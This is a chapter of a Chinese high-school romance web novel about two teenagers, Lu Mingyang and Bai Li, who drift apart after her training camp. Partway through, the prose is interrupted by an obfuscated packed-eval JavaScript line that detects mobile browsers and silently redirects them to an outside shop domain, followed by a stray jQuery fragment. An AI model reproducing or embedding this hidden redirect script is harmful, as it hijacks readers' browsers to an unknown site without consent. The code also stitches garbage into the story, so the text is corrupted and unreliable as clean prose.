一眨眼半个月过去了,陆鸣杨自那天起,再没见过白栎。
他是从同是竞赛班的刘砚舟那里得知,他们是去集训了。整个学校被选去的人并不多,但除了白栎,还有坐在她前面的苏岑。
虽然刘砚舟回消息的时间也不多,但白栎却像是消失了一般,自从那天晚上起手机就处于无法接通的状态。
陆鸣杨甚至想过去问白栎那个眼睛长在头顶的哥哥,你妹妹是不是去的东南亚的集训班。
时间一天天过去,周顺然明显感觉到陆鸣杨越来越沉默。以前还会时不时和人去打篮球,现在他手上更常出现的是笔,还有各科试卷。
能考上南江市最好的中学,他们并不是学习多差的孩子。但艺术班的学生一开始就不打算全靠文化课的成绩,他们对学习自然就没那么上心。
周顺然突然有一个大胆的猜测:“你不会是想从现在开始学竞赛,以后跟着白栎走吧?”
陆鸣杨头都没抬一下,周顺然倒有点不忍心了:“哥,算了,真的。”他早点有这个想法说不定还行,现在开始那就是吃屎都赶不上热乎的了。
陆鸣杨听到他最后的话,顷刻停下了转笔的动作,抬起头露出来的一双眼睛狭长又厌世。
甚至都没和他计较,只语气淡淡地问:“刘砚舟回你消息没?”
“没有。”周顺然说,“你早中晚三次地给他发消息,都快赶上他女朋友了,要回也是先回你啊。”
陆鸣杨哦了一声,又低头看了一眼手机。不知道被拉到哪个园区的两人依旧寂静无声。
—
晚自习下课,周顺然时隔多日再次邀请陆鸣杨去吃烧烤。不止他,旁边还站着个罗容。
陆鸣杨却没什么兴趣:“不去。”
“又不去?”周顺然暴走,“不是我说,陆鸣杨你就差把‘守寡’两个字写脸上了,白栎去集个训你魂也跟着走了,她要是真谈个男朋友你不得去死啊。”
正在收拾书包的陆鸣杨动作一顿,再抬头,脸色阴沉得可怕。他一个字都没说,只静静地盯着周顺然。
37度的大热天,周顺然被盯得出了一层薄薄的冷汗。
他忍不住咽了一下口水,话也转了一个一百八十度的大弯:“当然,我们白栎肯定是不会早恋的,她的心里只有,学习。”
罗容在旁边看着,笑得无声。他知道这是周顺然故意的,就像看见萎靡不振的猫,就是想恶劣地招惹它炸毛一样,纯属手贱。
罗容劝也不想劝守寡的男人,只轻飘飘给出新得来的消息:“他们好像今天回来了,有人来上晚自习了。”
陆鸣杨的视线一下转了过来。罗容耸耸肩,把话说完:“最后一节晚自习回来的,但这个应该就凭自愿了,大部分人都直接回家了。”
陆鸣杨收拾书包的速度加快,再开口的时候书包已经背在肩上了,“走了。”
—
白栎不在的这段时间,陆鸣杨也没心思骑车上下学了,这些天都是张叔来接送。
今天他照例坐进了副驾驶,只是罕见地催促张叔:“我们今天快点回家。”
刚刚下晚自习,校门口堵得水泄不通,张叔笑着同他摆事实:“这可快不得。”
“嗯。”陆鸣杨低着头在发消息,抽空回答张叔:“一会上路了快点就行。”
张叔:“好。”
手机这头,刘砚舟也回他消息了:【回来了回来了,我都没回女朋友消息先回的你的,哥们我够义气吧。】
【白栎当然也回来了,她直接回家了。】
【不是,她能有什么事?卷子是能把她吃了还是粉笔能把她狙击了?】
【你问我这么多不如直接去问她本人,不说了我要去找女朋友了哈哈哈哈!】
陆鸣杨停下敲击屏幕的手,再往外看,张叔已经驶过了拥挤路段。此刻路面宽阔,飞驰而过的车辆只留下一点光的残影。
陆鸣杨握着自己的手机,眼睛没有目的地往外看。
白栎离开的前一个晚上,他给她打了很多个电话,但都没有人接通。
陆鸣杨不是那种会为了解释什么事情就发一长串小作文的人,他只相信白栎面对面同她说,她不生气,她相信他。
但是第二天一早,早早等在两人家门口的陆鸣杨却得到姜清的告知,小葵一早就走了,她哥哥刚好要去机场,就接她一起去了。
陆鸣杨愣了好久,白栎从没说过和他说过要去集训。久到姜清都来问他:“杨杨,是有什么事要找小葵说么?”
陆鸣杨这才摇了摇头,礼数周全地同姜阿姨道了再见。
此刻的陆鸣杨看着外面的景观越来越清晰,明显感受到汽车的速度在驶入住宅区后慢慢降了下来。
在他和白栎常推车走的那个上坡,沉默了一路的人终于再次开口:“张叔,把车停一下。”
张叔反应了一下,把车缓缓驶停,车头向前滑行了一段,刚好停在了两个并肩而走的少年人身旁。
张叔也认出了靠里走的女生,降低窗户同她打招呼:“栎栎,要不要上来,我刚好接杨杨回家。”
听到声音,白栎探头朝车的方向看。车内没有开灯,白栎只能模模糊糊看到副驾驶上的一个人影。她捏着书包的手不自觉握紧,回答道:“不用了张叔,我再走两步就到家了。”
张叔下意识看身旁的人,但他始终没有吭声。不知道两个人又闹了什么矛盾,但张叔也都见怪不怪了,只叮嘱白栎:“那我先进去了,你不要耽搁太久。”
白栎乖乖地应着好。
汽车重新发动,陆鸣杨没有把副驾驶的车窗升上去,后视镜里并肩而行的两个身影越来越小,他心里有一个声音却越来越大。
是周顺然在问,她要是真谈个男朋友你不得去死啊?
—
时间又一天天过去,刘砚舟实在好奇,“我和白栎在集训的时候,你恨不得一天八遍地问我她在干嘛,现在人回来了,你又在傲娇个什么劲?”
“是啊。”周顺然还要火上浇油,“我怎么觉得去集个训白栎和他们班那个叫什么的男的,越走越近了呢?”
“苏岑。”刘砚舟好心补充,“那男的叫苏岑。”
“哦,他们在集训的时候关系也这么好?”
“还好吧,大家一起被关监狱,关系能有多好?”
“你懂什么。”周顺然说,“这种搁以前不妥妥的革命战友情,这关系可太硬了。”
“......”
叮当——
有人终于吃不下去了,筷子甩在餐盆里,长腿一迈,从他们中间走了出去。
迎面而来的白栎只感受到一阵风从她身边刮过,冷飕飕的,存在感十足。面无表情的人却连一个眼神都没在她身上停留,步子迈得又稳又快。
周顺然和刘砚舟朝她挥手,不太和她说过话的罗容也对她礼貌地点头。
白栎朝他们点头示意,再一声不吭的和李琪琪坐到后面的位置。
周顺然和刘砚舟对视一眼,再眼观鼻鼻观心,心里同时响起了一个声音。
——陆鸣杨完了。
—
白栎和陆鸣杨从小到大,大大小小的争吵不断,身边人都已经习以为常。但这次两人闹别扭的时间格外的长,更奇怪的是,根本没人知道原因。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942218|212054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
连姜清都忍不住好奇:“小葵又和杨杨吵架了吗?这次不理他好长时间。”
白栎心想,都不知道是谁在不理谁。
但她只同妈妈说:“他有病,我怕被咬了要去打针的。”
姜清被女儿认真的语气逗得一笑,仔细地给她编了一个马尾辫。
她看着镜子里穿着礼服裙的女儿,即使不施粉黛,这张朝气蓬勃的脸也实在耀眼。
姜清忽然想起来:“小葵,这次成人礼你们班是表演诗朗诵,那杨杨班是表演什么呢?”
“不知道。”白栎说自己并不关心,每天做题和睡觉都不够时间,她懒得去关心不重要的事。
姜清又笑了,这种别扭的情绪生动又可爱,她少有的能在自小就成熟懂事的女儿身上看到,实在珍贵。
姜清抚平女儿头上炸毛的一根头发,柔声道:“那小葵去看了之后告诉妈妈好不好,妈妈想知道你看到了什么样的表演。”
白栎习惯性地珉了一下嘴唇,从镜子里与妈妈温柔的眼睛对视,轻轻地说了一个好。
成人礼在是下午六点开始,整个学校都不上晚自习,算是为高三年级打气加放松。节目大部分是由高一年级准备,少数来自高二,高三年纪只需要在节目开始前上台接受一份成人礼就好。
李琪琪简直兴奋了一整天。
不,事实是,她从上个星期知道肖子荔要上台拉小提琴就开始期待了。
台上的校长在讲着枯燥的演讲稿,从孜孜不倦讲到大展宏图,李琪琪拉着白栎的手从肖子荔的小提琴讲到他今天的穿搭,眼睛里止不住地冒着星星:“他穿风衣真的好帅啊,欧巴不自觉就从口里流出来了。”
白栎笑:“好福气,年下的欧巴尤其美味。”
“哈哈哈。”李琪琪也乐得停不下来,“你懂我。”
两人叽叽喳喳个没停,阴恻恻的声音却从后方传了过来:“毛都没长齐,不知道你们在激动个什么。”
白栎朝后看,是穿着一身普通校服的周顺然。
白栎还没说什么,李琪琪先不乐意了:“喜欢毛长齐的那你去山里随便找个猴子啊,不要来这绑架别人的审美。”
周顺然嘴巴张得可以放下一整个鸡蛋了,李琪琪以为他要说什么来反驳自己,鼓足了劲准备反驳,哪知道他只是眨了好几下眼睛,然后赞叹道:“好有道理哦。”
李琪琪准备骂出口的话一下子憋回了肚子里,看向白栎的样子像一只气鼓鼓的比目鱼。
白栎摸了摸她的头安抚,然后把她拉到自己的身后,问明显不应该出现在后台的周顺然:“你来这干什么?你们班也不在这。”
“好伤心,什么你们班我们班的,我们不久前还是一个班的,我爷爷现在还喊你小白班长呢。”
白栎就是一个吃软不吃硬的典型,于是又好声好气问了一遍:“你来这是有什么事吗?”
周顺然这才点点头,让白栎把手掌张开一下。
白栎虽然不解,但还是照做了。
她手心朝上的瞬间,一片像鱼鳞一样的东西轻轻地落了下来。
白蓝渐变的颜色,波光粼粼的质地,中间还有一只银线绘制的小狗,正骄傲地仰着头,背上背着一朵长长的向日葵。
白栎静静地看着这张拨片,周顺然苦口婆心的语气就落在她的头顶:“你也知道有人把这个当宝贝吧,他一会就要上台了,如果你想惩罚他,最好的办法就是把这个吉他拨片藏起来,让他开个天窗。”
白栎的视线从拨片移到周顺然的脸上,说的话前言不搭后语:“这是贝斯拨片。”
周顺然却笑了:“巧了,这话我听第二遍了。”